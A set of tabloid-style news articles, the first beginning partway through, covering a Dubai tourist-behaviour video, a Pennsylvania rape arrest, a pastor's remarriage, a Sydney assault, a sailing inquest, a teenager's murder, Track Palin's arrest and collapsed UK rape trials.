Public displays of affection, drinking in public and wearing indecent clothing are all banned in the popular tourist destination of Dubai. Pictured: Edward falls asleep in a doorway during a previous Christmas

The spirits of Christmas past, present and future warn him of the consequences he would suffer if he fails to adapt his behaviour for the UAE

He added: 'Rather than spending time and energy painting UK visitors as drunken louts, the British Embassy's efforts might be better spent on helping people who have been wrongly accused of criminal behaviour in Dubai,' he said.

'It is completely insulting to Britons who have been jailed  and even tortured - in Dubai, and who have found themselves without adequate support from embassy staff.'

More than 100,000 British expats currently live and work in the UAE, and another 1.5 million visit during the year, many for Christmas and New Year.

Towards the end of the video, the Ghost of Christmas Present tells him: 'Everyone celebrates differently, but it doesn't have to end in embarrassment and regret'. Pictured: The scene presented by the Ghost of Christmas Present

By the end the expat is seen regretting his drunken antics and changing his ways. Pictured: Edward after he wakes up from his frightening dreams

More than 100,000 British expats currently live and work in the UAE, and another 1.5 million visit during the year, most at Christmas. In the last year, tourism police in the UAE dealt with 1,623 complaints. Pictured: The video ends with a happy and respectable scene in Dubai

In the last year, tourism police in the UAE dealt with 1,623 complaints.

They include the recent case of Jamie Harron, a 27-year-old tourist from Scotland, who was accused of drunkenly touching a businessman in Dubai bar.

Mr Harron had been sentenced to three months in jail for public indecency but charges were dropped in October following an international outcry and the personal intervention of Sheikh Mohammed bin Rashid al-Maktoum.

'Most problems facing tourists are related to misunderstandings, lack of knowledge about the country's culture and rules and linguistic barriers,' said Major Mousa Mubarak, acting director of the Tourism Security Department at Dubai police.


A married father-of-two prison guard was arrested on Monday for raping or attempting to rape three women in central Pennsylvania in the past five years.

Officials say they connected Kurtz to two of the crimes with DNA obtained from his discarded cigarettes.

Kurtz, a guard at the state prison in Coal Township, was under surveillance on Friday and Saturday when cops noticed him throwing cigarette butts out of his car window.

The DNA on the butts matched that perpetrator's in two of the assaults.

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John E. Kurtz, 43, was arrested on Monday in Shamokin, Pennsylvania and charged for raping or attempting to rape three women in the area since 2012

Investigators used the DNA from Kurtz's discarded cigarette butts to connect him to the crimes

After his arrest, Krutz allegedly admitted to raping two of the victims.

'His confessions showed that the knowledge he had of these incidents is that which only the victims and the individuals who committed these offenses would know,' the affidavit reads.

Police say they believe there may be more victims.

Kurtz was arraigned Monday night on 24 counts including rape, kidnap, aggravated and simple assault, involuntary deviate sexual intercourse, stalking, unlawful restraining and burglary.

His family was blown away by the allegations. Kurtz's younger brother Jason was at his home in Shamokin on Monday night when reporters came knocking.

'Just can't understand where it came from, how this is even possible, his behavior,' Jason Kurtz told WNEP. 'We're all trying to keep everything together. He has two children, a wife, house.'

The first incident dates back to November 9, 2012, when a woman in Coal Township heard a noise downstairs and went down to find a man wearing a Halloween mask.

Kurtz is a married father-of-three who works at the state prison in Coal Township, Pennsylvania (pictured above)

She told police that she tried to push him out but he forced her down, zip-tied her hands behind her back, put a ball gag in her mouth, covered her eyes with a blindfold, put a pillowcase over her head and then wrapped her in a sheet.

He then carried her down to the cellar where she proceeded to plead with him to stop when she managed to get the ball gag out of her mouth.

Kurtz then acted nervously, taking the woman upstairs, then back down to the cellar and out the basement door where he sat her down on some rocks.

Eventually he brought her back into the cellar where he cut the zip ties and left without assaulting her.

The next incident happened in July 2016, and involved the wife of one of of his co-workers.

Investigators said he broke in when he knew her husband would be at work.

At his arraignment, prosecutors asked the judge to set Kurtz's (right) bail high because they believe he is a flight risk due to his connection in the Philippines, where his wife, left, is from

The woman says a man in a tan-colored ski mask broke into her home and then secured her hands with zipties, gagged her and blindfolded her.

She says he then tried to carry her out to a vehicle, but she was able to spit out the gag and start yelling for help.

He reacted by taking her back inside and then choking her until she was unconscious.

When she came to, she was in a camper, where she says the masked man raped her.

During the rape, he told her not to look at him or 'it would be her life'.

At the end of the assault, he used latex gloves to wipe her down with antiseptic bags, and then put a bag over her head to take her to another vehicle, which he used to drive her to a cornfield about a mile from her house. He released her in that field, after removing her blindfold and cutting her zip ties.

The most recent assault happened in April, when a woman woke up around 2:30am to find a man straddling her.

She says he ziptied her hands behind her, placed a cloth over her eyes, gagged her, wrapped her in a sheet and then carried her to a vehicle.

The man then drove her to a two-story home where he raped her, telling her all the while that if she continued to resist him he would 'slit her throat'. He also said that 'it's your saving grace that you have that blindfold'.

At the end of the assault, he took her back to her home, placed her in a bathtub, removed the gag and zipties and ordered her to stay there.

The latter two victims gave investigators a crucial piece of information when they revealed that he was a smoker.

The DNA obtained from Kurtz's discarded cigarette butts this weekend matched the semen preserved in the rape kit for the July 2016 rape, and potentially match DNA from the November 2012 incident.

Kurtz's younger brother Jason was at his home on Monday and said he 'just can't understand where it came from'

Following his arrest, Kurtz was suspended from the state prison in Coal Township where he worked.

'SCI Coal Township and the Department of Corrections have cooperated with the Pennsylvania State Police in their investigation,' Trisha Kelley, a corrections superintendent assistant at SCI-Coal Township, said.

Kurtz had been a correction officer since 2010 and was assigned to work at the Coal Township State Prison in March 2015.

At his arraignment on Monday, prosecutors asked the judge to set bail high because Kurtz could be a flight risk due to his connections in the Philippines, where his wife is from originally.

The judge set bail at $1.5million, and ordered Kurtz to turn in his passport if he posts it.

A preliminary hearing has been set for December 27.

Anyone with information on the assaults is being asked to contact local police at 570-524-2662.
An Indiana pastor whose first wife was tragically murdered in a 2015 home invasion has found a second chance at love and has remarried.

Davey Blackburn, the founder of Resonate Church who is known for his large social media following, married Kristi Monroy at Laurel Hall in Indianapolis this past Sunday.

In an Instagram post of the special day, he quoted the Book of Isaiah: 'Behold, I am doing a new thing; now it springs forth, do you not perceive it?

'I will make a way in the wilderness and rivers in the desert.'

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Davey Blackburn and Kristi Monroy were married in Indianapolis, Indiana on Sunday. Blackburn, the founder of Resonate Church, lost his first wife, Amanda, in November 2015

Blackburn and Monroy (pictured together at a football game) met at a CrossFit gym in September 2016 and he proposed to her on November 8

Blackburn took this photograph of Monroy three days before they were married. He worried in the caption that he might find himself in the 'doghouse' after posting

Blackburn has a son from his previous marriage named Weston. Monroy has a daughter from a previous relationship named Natalia. The family -to-be recentlly dressed up as Gaines family from HGTV's Fixer Upper

The preacher had proposed to Monroy on November 8, meaning that their marriage proved to have quite a quick turnaround.

In a lengthy blog post detailing his and Monroy's relationship that he published on November 14, he described how they had met at his CrossFit gym in September 2016.

Monroy also came to his church, he later noticed. He gradually worked up the courage to talk to her, and they eventually started dating.

But their relationship was always going to be marred by the tragic November 2015 death of his first wife, Amanda.

The 28-year-old woman was alone in the couple's Indianapolis home when three men entered the unlocked front door.

She was 12 weeks pregnant when she was shot in the head as she tried to defend herself and her one-year-old son, Weston, during the incident on November 10, 2015.

She later died in a hospital.

Amanda (pictured with Blackburn and Watson) was killed during a home invasion committed by three men on November 10, 2015

Regarding his new relationship, Blackburn wrote in a blog post: 'Lord, if you ever bring me another wife here's what I ask for, that she loves you more than she loves me, that she loves me, that she loves Weston, and that she loves Amanda

He continued: 'I knew that was going to be crucial because much of my life to come Ill be sharing Amandas story and our journey through trial and tragedy.' Blackburn is pictured with Amanda and Weston

Describing his new relationship in the 4,000-word blog post, Blackburn wrote: 'You see, several months after Amanda passed I wrote something in my prayer journal:

'Lord, if you ever bring me another wife here's what I ask for, that she loves you more than she loves me, that she loves me, that she loves Weston, and that she loves Amanda.

'I knew that was going to be crucial because much of my life to come Ill be sharing Amandas story and our journey through trial and tragedy.'

Monroy also has a daughter from a previous marriage. The new family will consist of Blackburn, his son Weston, Monroy and her daughter Natalia.

Blackburn wrote in the blog post: 'Kristi has quickly became like a mother to Weston and Natalia, an older sister. And I have quickly fallen in love with both of them.'

In the blog post, he wrote that he honored a pledge he made to not 'pursue anything with anyone' for a year after Amanda's death.

He wrote that from September to November 2016, he 'just observed' Monroy.

One evening in January 2017, he asked her out on a dinner date and she said no. But they began bringing each other's children around to their Crossfit gym so that the children could play together while their parents worked out.

He later asked her out on a date, on March 31, to see a ballet. But it did not end up panning out as planned.

'We had received some wise counsel that it would be a good idea to stay under the table with this developing relationship until after Amanda's trial (which was set for May at this point).

'So instead of me taking her to the ballet I paid for her and one of our church overseer's wives to go to a nice dinner and the ballet while I took her daughter to Chick-Fil-A and Build-A-Bear. We still tell people this was our "first date"'.

The former couple dated long distance before getting married. Amanda had taken a purity pledge wherein she pledged not to kiss a man before she was married

Blackburn (center, pictured with friends at a CrossFit gym) said at the time of Amanda's death two years ago: 'I have not only lost my ministry partner and support but also my very best friend. My wife was such a beautiful, gracious, loving woman of God'

Blackburn, pictured with Watson, has a large social media following

In mid-May, they then became public. In August, they met each other's parents. Four months later, they are now married.

Blackburn wrote in his November 14 blog post: 'We can't wait to celebrate God's redemption in our story!'

Three men were charged with Amanda's murder. They are Jalen Watson, 21, Larry Taylor, 18, and Diano Gordon, 24.

Two of the men who entered the house left to try and get money out of her bank account with her debit cards.

Watson pleaded guilty in October to robbery and burglary, court records obtained by the Indianapolis Star indicate.

Blackburn was at an LA Fitness gym at the time.

At the time the pastor posted a statement on his church's website where he said: 'It's impossible to communicate all the emotions my heart has been forced to process. My wife was such a beautiful, gracious, loving woman of God.

'I have not only lost my ministry partner and support but also my very best friend. My wife was such a beautiful, gracious, loving woman of God.

'I have not only lost my ministry partner and support but also my very best friend. There is no way to prepare yourself for circumstances like these.

'As deeply as I am hurting I am hopeful and confident that good things will come of this. I rest in the truth of Romans 8:28 that God works all things together for the good of those who love Him and who are called according to His purpose.

'Thank you for understanding my desire to take these next few days to continue to grieve for Amanda Grace.

'My focus right now is to let The Lord minister to my heart as I continue to shepherd little Weston's. I'll be taking this time to focus on being a great follower of Jesus, dad, family member, and pastor to our growing church.

'Amanda made it her life's calling to love and serve everyone she knew. Even more, she has made it her life's mission to see as many people as possible come to know Jesus as their personal Savior.

For Halloween, Weston dressed as Batman and Natalia dressed as Wonder Woman

Pictured is Weston, as Batman, rolling around in some grass

'I know that in her death and legacy even more people will come to a saving faith in Christ. I know beyond a shadow of a doubt her desire for me would be to continue what we've started here in Indy.

'I hold firm to the belief that God is still good, that He takes our tragedy and turns it into triumph, and that the best truly is yet to come.'

Incredibly, Blackburn had previously said he has chosen to forgive Amanda's killers.

'I was extremely relieved to get the news of the arrest,' he told reporters. 'Though everything inside of me wants to hate, be angry, and slip into despair I choose the route of forgiveness, grace and hope.'

Davey and Amanda met through a blind date to a concert featuring the Christian band Hawk Nelson, set up by her sister and Davey's best friend.

They were attending different colleges at the time, but Davey was on his fall break and spent all of his free time with Amanda.

The day before Davey returned to school, he and Amanda had a milkshake drinking contest, which Amanda lost, according to the Indianapolis Star .

'You shot milkshake out of your nose,' Davey told Amanda in a church sermon video. 'And that's when I knew that I had met the girl I was going to marry.'

Left to right: 18-year-old Larry Taylor, 21-year-old Jalen Watson and 24-year-old Diano Gordon were charged with murder in connection with the home invasion. Court records indicate that Watson pleaded guilty to robbery and burglary in October

Prior to getting married, they had been dating long distance and only spent time together in periods of about three weeks at a time, so the couple went to counseling to learn how to communicate.

Amanda had taken a purity pledge when she was a teen, where she agreed not to even kiss a man before she was married. She was true to her claim.

'Do you know how much that meant to me?' he said in the sermon. 'From that moment that I kissed her I knew there was going to be a special bond inside of God's plan for us.'

Resonate Church is tailored to younger worshipers and has released weekly videos that cover topics such as relationships and what the Bible says about sex.
A 21-year-old man accused of bashing an elderly man with a chainsaw will remain behind bars for Christmas after a Sydney judge declared he is a 'risk' to the community.

Justin Clarke and Jayson Nichols, both 21, appeared separately before Newtown Local Court on Tuesday after the violent altercation on an Annandale street left Giovanni 'Rocco' Mezzatesta, 63, with lacerations to his face.

The court was told Clarke, Nichols, and a third man who remains on the run, were trying to visit a brothel when they became involved in the fight.

The brawl, caught on CCTV and also filmed by bystanders, began when the trio walked up two flights of stairs and entered Mr Mezzatesta's home on Monday evening, a police prosecutor told the court.

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Justin Clarke (pictured), 21, who is accused of bashing an elderly man with a chainsaw, will remain behind bars after a Sydney judge declared he is a 'risk' to the community

Clarke (far left) and Jayson Nichols, also 21, appeared separately before Newtown Local Court on Tuesday after the violent altercation on an Annandale Street

The fight left Giovanni 'Rocco' Mezzatesta (pictured), 63, with lacerations to his face

The men say they thought they were entering a brothel but only had a Coles Myer gift card with them to pay for any sex, the prosecutor added.

They were confronted by Mr Mezzatesta and a fight broke out which spilled onto the street.

Footage allegedly shows Clarke, wielding an electric chainsaw - which wasn't switched on - striking out at Mr Mezzatesta while neighbours attempt to fight him and Nichols off.

Mr Mezzatesta's neighbour and friend Mario told The Daily Telegraph the 63-year-old 'had cuts everywhere and lots of blood' covering his face.

'Her looked terrible,' he said.

Mr Mezzatesta's brother told the publication he would remain in hospital overnight and was 'all right.'

The prosecutor called the fight an 'extremely serious' and 'terrifying assault' while their legal aid lawyer said Clarke and Nichols had been forced to defend themselves from the angry residents.

Justin Clarke (left) and Jayson Nichols, both 21, appeared separately before Newtown Local Court on Tuesday after the violent altercation on an Annandale street left a 63-year-old man with lacerations

But magistrate Margaret Quinn agreed with police that the men had a 'history of violence' and were a risk to the community if released.

'On the facts before me. It is a strong case. He (Clarke) has a criminal history, which is lengthy and the nature of the offence is serious. A custodial sentence is more than likely. It is my view Clarke is an unacceptable risk of endangering the community. Bail is refused,' she said, according to The Daily Telegraph.

She refused their requests for bail adding jail time was 'more than likely' if they were found guilty.

Clarke, with a graze on his left cheek, left the courtroom in silence, while Nichols shouted at the magistrate as he was led from the dock.

Clarke has been charged with aggravated enter of a dwelling with intent and assault offences.

Nichols has been charged with aggravated enter dwelling with intent, and common assault.

They are expected to reappear at Central Local Court on February 13.
A yachtsman who died four days into a round-the-world sailing challenge had voiced concerns about a 'lively' boat hours before his death, an inquest heard.

Andrew Ashman, 49, was killed 120 miles off the coast of Portugal in September 2015 on the IchorCoal Clipper 70 boat during the first leg of the Clipper Round the World race from London to Rio de Janeiro.

The experienced sailor, from Orpington, Kent, was struck by a boom - a pole that runs along the bottom of the sail - as it changed direction suddenly and pitched towards its port (left) side on the night of September 4.

The jury at Southwark Coroner's Court heard that at around 10pm, Mr Ashman, a senior crew member, had told the port watch leader that 'the yacht seemed a bit lively' in the previous hour.

This meant the vessel was bouncy and 'would have been moving around a bit', witness Captain Emma Tiller, who was not present during the race, told the inquest.

But the port watch leader disagreed, saying there had been no problems on his watch.

Andrew Ashman, pictured, died in September 2015 during a Clipper Round the World race from London to Rio de Janeiro

Mr Ashman took the helm of the yacht for half an hour from 10:30pm, and watched the helmsman until 11:30pm.

The boat continued on its course at which point clouds drew in and winds began gusting at 30 knots (42mph) making the yacht increasingly difficult to control, a statement read out to the court said.

At 11:45pm Mr Ashman decided to reduce the sail area, a safety precaution taken as a result of challenging weather conditions.

Eleven minutes later, the yacht unexpectedly changed course - a movement known professionally as an 'accidental gybe'.

Mr Ashman was struck unconscious and a helmsman found him moments later lying motionless in an area on the boat known as the 'danger zone'.

Justin Taylor, an experienced sailor and race director at the time Mr Ashman undertook the race, said the yachtsman's concerns about a lively vessel could have been a missed opportunity to do something earlier.

He told the inquest: 'I guess there was an opportunity there. 'Lively' to me would suggest that the boat was becoming more difficult to handle.

Mr Ashman died after being struck by a boom on the IchorCoal boat, pictured here heading into the River Thames before the race

'But that's relative to the person driving the boat ... there is a balanced judgment that needs to be made that also needs to be made quite quickly,' he added.

Mr Taylor said Mr Ashman, who had undergone all four stages of training and had reached a level of competency for the race, would have known about the danger zone.

He added that an experienced sailor might need to enter it 'if there was an operation that needed to be done in that area'.

The danger zone, nicknamed Milton Keynes because 'you only want to pass through it, not stop there,' Mr Taylor said, was subsequently renamed the Cautionary Cockpit Zone.

The experience sailor from Orpington, Kent, died 120 miles off the coast of Portugal just four days into the race

Crew from the yacht pictured here during the round-the-world race's launch at St Katherine's Docks in London. Mr Ashman had described the boat as 'lively' just hours before his death

Weather conditions that night started off with clear skies and the crew were able to 'see the stars clearly', senior coroner Andrew Harris told the inquest.

He added: 'It isn't possible to establish with certainty how he sustained the injury but most likely the cause is a fall,' either from a rope whipping him to the ground, or the motion of the boat.

Steps taken to prevent future deaths included adding a backup rope to prevent the boom from moving across the deck, should the original one fail as happened in the case of Mr Ashman, jurors heard.

The crew have since added a backup rope to prevent the boom from moving across the deck to prevent future accidents

Mr Ashman was described as an 'encouraging trainer who would allow others to take the lead' and was a 'keen sailor' for a number of years, having started in his teens.

The paramedic, who worked in the London Ambulance Service for 23 years, was said to have 'had a better understanding of health and safety than other people had done,' his brother Keith Ashman told the inquest.

He said his brother did not have a cavalier attitude towards risk, nor had he encountered any previous accidents or 'near misses'.

The inquest continues.
Five teenagers as young as 14 have been arrested in connection with the murder of a 15-year-old earlier this month.

Jacob Abraham had been giving food to the homeless hours before he was stabbed to death in Waltham Cross, Hertfordshire.

Three 14-year-old boys and two 15-year-old boys, all from Enfield, have been arrested on suspicion of murder and are currently in police custody.

The youngster, who was 10 days away from celebrating his 16th birthday, left his home in Waltham Cross between 8.30pm and 9.30pm on December 7 having received a number of calls.

He was then stabbed in a nearby service road and attempted to run home, but never arrived.

Jacob Abraham was found with multiple stab wounds by his brother Isaac, 19, in his home town of Waltham Cross, Hertfordshire on Thursday December 7.

Officers have now released CCTV of the teenage boxer buying bread in Iceland on the High Street in the town.

He had went home to help his mother prepare sandwiches before they went to their church in Edmonton and handed out the food to the homeless.

Officers have released CCTV of the teenage boxer buying bread in Iceland on the High Street in Waltham Cross hours before he was stabbed to death

After distributing food to the homeless Jacob was later found stabbed to death by his brother

Jacob Abraham (pictured) was stabbed to death hours after distributing food to the homeless

Officers from the Bedfordshire, Cambridgeshire and Hertfordshire Major Crime Unit have now launched a murder investigation

Paramedics fought to save him but Jacob was pronounced dead at 10.15pm.

The youngster lived with his mother, a younger sister, his brother Isaac and an older brother, who is 26.

The spot where he was found by his older brother was just 200 yards from his family's home.

Detective Chief Inspector Jerome Kent, from the Bedfordshire, Cambridgeshire and Hertfordshire Major Crime Unit, said: 'This poignant footage shows Jacob running an errand for his mother before they both committed an act of kindness in giving sandwiches to the homeless.

'Just hours later, Jacob had been murdered.

'This is an especially upsetting case due to Jacob's young age, and my officers are doing all they can to establish who is responsible for his murder.

The spot where Jacob was found by Isaac last Thursday is just 200 yards from his family's home

'We have gathered witness accounts, are looking at hours of CCTV footage and our enquiries are continuing but again I appeal to the community to come forward and tell us what they have seen, and what they know.

'We are especially keen to speak to any young people who may have been in the area of Hurst Drive between 8.30pm and 9.30pm on December 7, and also any residents who witnessed a group of teenagers in the area, or running from the scene.

'Did you hear any conversations that may be helpful to our investigation?

'I strongly believe the clues to why Jacob has been murdered lies within the community of Waltham Cross, and I urge those who have information and have not yet spoken to us to please come forward.

'Help us give Jacob's family the answers they deserve.'
Things are quickly spiraling out of control for Track Palin following his arrest on Saturday at his parent's home in Alaska.

Court records show that on Monday his ex-wife Britta Hanson filed a petition for a protective order against Track.

Britta, who is the mother of Track's 6-year-old daughter Kayla, was granted a short-term order by the judge and will be back in court early next month to try and get a long-term order keeping her ex away from her and possibly their daughter.

At the same time, Track's ex Jordan Loewe also filed an emergency motion to change the child custody agreement that is in place between the couple.

Track and Jordan are the parents of a son Charlie, who is almost two.

Meanwhile, Track, 28, does not look to be going anywhere soon as he remains behind bars despite his bail being posted over 24 hours ago, unable to come up with either the $5,000 cash bond or find a court-ordered third-party custodian.

If his parents or some other family member does not step up soon he may spend Christmas in jail.

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Issues: Track Palin's ex-wife Britta Hanson was granted a short-term order of protection against her former spouse on Monday (Couple above nwith Sarah and Todd on their wedding day in 2011)

More owes: Track's ex Jordan Loewe (above) also filed an emergency order seeking full custody of their son Charlie

'On December 16, 2017 at 2036 hours, Wasilla Police responded to a reported disturbance at a residence in Wasilla,' a department spokesperson told DailyMail.com on Tuesday of Track's arrest.

'Following an investigation, Track Palin was arrested for domestic violence burglary in the 1st degree, domestic violence assault in the 4th degree and domestic violence criminal mischief in the 4th degree. Palin was transported to the Mat-Su Pretrial facility.'

An incident report that was included in the young man's charging documents reveals that he broke into his family home through a window after being told by Todd he was not welcome, and then began to hit the man over the head.

Todd had tried to keep his son out by meeting him at the door and pointing a gun at him, but Track was able to disarm the man and 'put him on the floor' before beating him bloody.

Sarah told police her son, 28, was 'freaking out and was on some type of medication.'

After Track assaulted his father, a bloody Todd fled the home followed by Sarah, and Track engaged in a brief standoff with police.

'Given the nature of actions addressed last night by law enforcement and the charges involved, the Palins are unable to comment further,' said Sarah and Todd's lawyer John Tiemessen.

'They ask that the familys privacy is respected during this challenging situation just as others dealing with a struggling family member would also request.'

Track is not represented by the same lawyer.

'Track stood on the porch,' wrote Officer Adam LaPointe of the Wasilla Police Department.

'Communication was attempted which failed due to Track yelling and calling myself and other officers peasants and telling us to lay our guns on the ground before approaching the residence.'

He then went inside the house before reappearing on the roof of the garage so he could get a look around the entire property according to Office LaPointe.

After that Track again when into the house, where he remained for approximately 15 minutes before reestablishing communication with police.

Track then turned himself over to police, admitting he had a few beers earlier in the night and had gotten into a argument with his father over the use of a car.

'Track said he had been talking to his dad, Todd, about a vehicle,' reads the report.

'Track stated he had a disagreement and that there had been threats made between them. Track stated that he then drove over to Todd's house and when he arrived Todd had a gun in his hand,' reads Officer LaPointe's sworn affidavit.

When Track then looked through the window next to the door he saw 'Todd point a gun at him.'

The eldest son of Sarah and Todd then told his father to shoot him several times before deciding to break a window in order to enter the home.

'Track stated that he went through the broken window and disarmed Todd and put him on the ground,' states the affidavit.

'While Track had Todd on the ground he started hitting Todd in the head. Todd was able to get away from Track and out of the residence.'

Baby Girl: Britta (Track above with their faughtr Kayla) filed a petition seeking a long-term order soon after Track was arrested on domestic abuse charges for beating up his father

Baby boy: Jordan (above with Charlie) and Track pair broke up in 2016 after Jordan called police to report that Track had punched her in the face and pointed a gun at her head

The Iraq combat veteran was previously taken into custody by police in Wasilla back in January of 2016 after officers arrived at the Palin family home and found Jordan cowering under a bed.

According to Jordan, an intoxicated Track attacked her and pointed an AR-15 rifle at his own head as they argued over her ex-boyfriend and screamed he was going to shoot himself, shouting, 'do you think I'm a p---y? and 'do you think I won't do it?'

The police report stated that the victim was seen with 'bruising and swelling around her left eye' claiming that Track had thrown her phone away when she tried to call 911.

This all happened at Sarah's Wasilla home as well according to court documents, and Track had a 0.189 blood alcohol level according to police.

'I observed that the male had a visible injury to his right eye and the area around his eye,' wrote Officer Andrew Kappler at the time.

'His eyes were bloodshot and I detected a strong odor of alcohol on his breath and person. Upon contacting Palin, he was uncooperative, belligerent, and evasive with my initial line of questions.'

Officers tried to ask the veteran why 911 was dialled by the woman and where she was.

'Palin stated that he didn't know where she was and denied that there was a firearm involved, but did state that there were several spread throughout the residence,' Kappler wrote in his report.

'Due to Palin's escalating hostility, the unknown whereabouts of the female 911 caller, and Officer safety, Palin was placed into handcuffs.'

It was then that officers went into Sarah Palin's family home and discovered Jordan under the bed, crying and hiding.

'She and her boyfriend of one year, Track Palin, left a different residence together and were arguing the whole way home,' Kappler wrote. 'Once they got to his home they argued in the car, then in the driveway. They were screaming and he was calling her names.'

The woman told police that while she had not yet called 911, she had lied to Track and said she had to scare him off.

Apparently this did not work.

'Palin approached (his girlfriend) and struck her on the left side of her head near her eye with a closed fist,' wrote Kappler in the report.

Family ties: Track's children Track and Kayla with Sarah, Todd, Willow and Piper on Thanksgiving (above)

The argument got out of control and Track allegedly reached for his AR-15 rifle and began threatening suicide.

Track's girlfriend ran out of the house after the young man started 'holding onto a gun, yelling 'do you think I'm a p---y?' and 'do you think I won't do it?'

'(She) stated Palin 'cocked the gun' and was holding the rifle out next to him with his right hand near the trigger and his left hand near the barrel, with the barrel just away from his face pointed to the side,' states the detailed police report.

'(She) was concerned that he would shoot himself and ran outside and around the house. She didn't see where Palin went, so she went inside and up the stairs, where she hid under a bed.'

Track told police the argument began after he learned she had been speaking with an ex-boyfriend.

The two had been to dinner and then visited his sister Bristol's home earlier in the night before the argument began at his mother Sarah's home.

He also claims that the woman elbowed him during the fight, but she was not arrested or charged with any crime.

The Wasilla Police Department said at that time in a statement: 'Palin was arrested and charges of assault in the fourth degree (domestic violence), interfering with a domestic violence report, and misconduct involving weapons in the fourth degree were forwarded to the District Attorney's Office.'

Track posted his $1,500 bail in that case soon after he was arraigned.

He and the rest of his family also had a run in with police a little over a year before that in September 2014 when a fight broke out at a party in Wasilla.

Track reportedly broke a rib in the incident, and during his interview with cops spelled his last name wrong at one point.

Using the military alphabet he told officers it was spelled, 'Papa, Alfa, Lima, India, Mike, Oscar.'

'Palimo?' asked the officer.
Rapists across the UK could try to appeal their convictions after two cases collapsed because police sat on texts that proved the men in the dock were innocent, a leading barrister said today.

Isaac Itiary, 25, was released from prison yesterday after it emerged that his 15-year-old alleged victim routinely posed a 19-year-old and lied about her age.

Last Thursday Liam Allan's rape trial collapsed because police failed to disclose damning text messages that showed his lover fantasised about being raped and asked Mr Allan for casual sex after she said she was attacked.

Both cases were led by Met Detective Constable Mark Azariah who has not been suspended but is reportedly off active investigations while Scotland Yard reviews 30 cases approaching trial.

Barrister Jerry Hayes asked the judge in Mr Allan's case to end the Croydon Crown Court trial and said today: 'If there's an ongoing investigation and you're about to go to trial I would demand in writing a letter for police and the CPS that there's nothing that could undermine the prosecution.

When asked about convicted sex offenders he said: 'They need to look at it again. There is a possibility there have been some very serious miscarriages of justice.

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Isaac Itiary, 24, was remanded in jail for four months after being charged with raping a child under 16 - but has been freed after texts showing his evidence were not released by Met DC Mark Azariah (right) who is no longer working on active cases

Liam Allan, pictured with his mother Lorraine, poses outside Croydon Crown Court after all rape charges against him were dropped

Father-of-two Mr Itiary, from south-east London, was released last night and was celebrating with his parents at their home.

Scotland Yard will review hundreds of rape, child abuse and sexual assault cases after a second prosecution collapsed because police again sat on texts that proved a suspect's innocence.

Prosecutor who stopped Liam Allan case over withheld texts says it happens 'every single day and has to stop' The barrister who stopped the prosecution in the Liam Allan after texts proved he was innocent said today it 'happens every day'. Jerry Hayes (pictured), a former Tory MP, said officers are withholding evidence that undermines their case and 'it's got to stop'. He told Radio 4 this morning: 'This is not one rogue officer. This is a systemic, cultural problem with the police. It is enshrined in law that police officers have to be independent. They have to look at all the evidence. They have to log it. 'They are not just building a case to prosecute someone. If there is anything there that undermines the prosecution case they've got to tell you. 'And if there's anything that undermines or rather assists the defence case they've got to tell you too. But that is not happening. You speak to any barrister they will tell you stories that this happens every single day and it has got to stop'. He went on: 'I was speaking to the barrister [in the Itiari case] this morning. They had been asking for these tests [victim's phone records] for months. Now, this is not something that has just been forgotten. Were they deliberately sitting on it? We don't know but these are very, very worrying systemic problems'. Advertisement

Speaking to BBC Radio 5 Live on Wednesday, Justice Minister Dominic Raab said it was 'absolutely right' for the Met to carry out a review, adding: 'The basic principle of British justice is at stake.'

He said: 'The proper disclosure obligations in these two cases have not been discharged, and that is deeply worrying.'

'What we need to know now is quite how widespread that is and why.

'This is not a new thing. It should be made easy by technology. It's a very basic thing why it's not happening.

'I don't want to prejudice a review which is going to be under way but I do think the CPS and the police do need to have a pretty hard long look in the mirror about this.'

Isaac Itiary was remanded in jail for four months after being charged with raping a child under 16 but had insisted that the girl told him repeatedly she was 19.

His defence team demanded the police hand over her texts in September but only got them last week and found that the alleged victim, who was 15, had constantly lied about her age and posed as a 19-year-old.

Incredibly, his prosecution involved the same officer as the Liam Allan case, which collapsed last Thursday when it emerged he had failed to disclose thousands of damning text messages that showed a woman who said she was raped fantasised about being raped and asked Mr Allan for casual sex after she said she was attacked.

Mr Allan faced two years on bail before his case collapsed last Thursday and has called for anonymity for rape suspects unless there are exceptional circumstances.

Mr Itiary was a month away from trial after being charged with six counts of sexual activity with a child, two counts of rape and one count of making indecent photographs.

As a result he was deemed a risk to the public and placed in custody.

But police had texts that showed that she had posed as a 19-year-old but this evidence was only released by detectives last week.

The CPS said Mr Itiary's prosecution had passed the 'threshold test' until the extra evidence arrived.

A spokesman said: 'On December 17, 2017, the police provided new material to the CPS, which had previously been requested, and this was reviewed'.

'Prosecutors decided that there was no longer a realistic prospect of conviction'.

The case has caused a crisis for police.

Mr Allan, a psychology student at Greenwich University, is planning to sue the police and the CPS for their bungled handling of the case

Last night, amid mounting calls for an independent inquiry, the Metropolitan Police announced that every live case being investigated by its Child Abuse and Sexual Offences squad was now being reviewed to ensure that all digital evidence has been properly examined, documented and shared.

'Police think every sex attack complainant must be believed', says top QC A top QC says police automatically believe complainants in sex attack cases. Mark George QC says the 'policy' is what got officers in trouble over the case of Liam Allan. Writing on his blog he said: 'The attitude of the police officer who failed to consider that the material easily passed the statutory test for disclosure was engendered by the very idea now written into the official policy of the College of Policing that means that a complainant in a sex case must be believed. 'Any police officer who considered that her or his duty was to investigate the case fearlessly and with a view to seeing if the allegation would stand up in court or was likely to fail should have considered the text messages between the complainant and the accused in this case'. Advertisement

The flawed prosecutions have prompted fears there have been miscarriages of justice  but also raise the prospect that rapists and child abusers could go free if they are able to challenge disclosure of evidence at their trial.

It comes amid concerns that police are making basic errors in sex crime investigations in an attempt to improve conviction rates, with just 11.2 per cent of allegations of rape leading to a conviction.

Mr Itiary's case collapsed at Inner London Crown Court yesterday afternoon after the Crown Prosecution Service decided to offer no evidence.

Police said they had been 'working closely with the CPS to progress the investigation and provide full disclosure'.

However, the day after Mr Allan's trial collapsed, a review was ordered which 'resulted in the identification of relevant material which was passed to the CPS to disclose'.

A CPS spokesman said: 'Prosecutors decided that there was no longer a realistic prospect of conviction and we offered no evidence against the defendant at a hearing today.'

